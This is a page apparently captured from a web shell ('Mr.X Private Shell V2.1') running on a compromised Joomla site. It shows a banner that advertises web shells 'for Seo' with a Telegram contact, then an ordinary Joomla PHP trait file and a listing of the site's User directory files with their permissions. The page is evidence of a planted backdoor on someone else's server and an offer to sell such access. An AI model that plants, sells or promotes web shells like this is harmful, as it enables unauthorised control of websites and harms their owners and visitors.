__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Joomla! Content Management System
*
* @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\CMS\User;
// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
* Defines the trait for a UserFactoryInterface Aware Class.
*
* @since 4.4.0
*/
trait UserFactoryAwareTrait
{
/**
* UserFactoryInterface
*
* @var UserFactoryInterface
* @since 4.4.0
*/
private $userFactory;
/**
* Get the UserFactoryInterface.
*
* @return UserFactoryInterface
*
* @since 4.4.0
* @throws \UnexpectedValueException May be thrown if the UserFactory has not been set.
*/
protected function getUserFactory(): UserFactoryInterface
{
if ($this->userFactory) {
return $this->userFactory;
}
throw new \UnexpectedValueException('UserFactory not set in ' . __CLASS__);
}
/**
* Set the user factory to use.
*
* @param UserFactoryInterface $userFactory The user factory to use.
*
* @return void
*
* @since 4.4.0
*/
public function setUserFactory(UserFactoryInterface $userFactory): void
{
$this->userFactory = $userFactory;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| CurrentUserInterface.php | File | 709 B | 0664 |
|
| CurrentUserTrait.php | File | 1.5 KB | 0664 |
|
| User.php | File | 25.25 KB | 0664 |
|
| UserFactory.php | File | 1.73 KB | 0664 |
|
| UserFactoryAwareInterface.php | File | 745 B | 0664 |
|
| UserFactoryAwareTrait.php | File | 1.35 KB | 0664 |
|
| UserFactoryInterface.php | File | 952 B | 0664 |
|
| UserHelper.php | File | 20.52 KB | 0664 |
|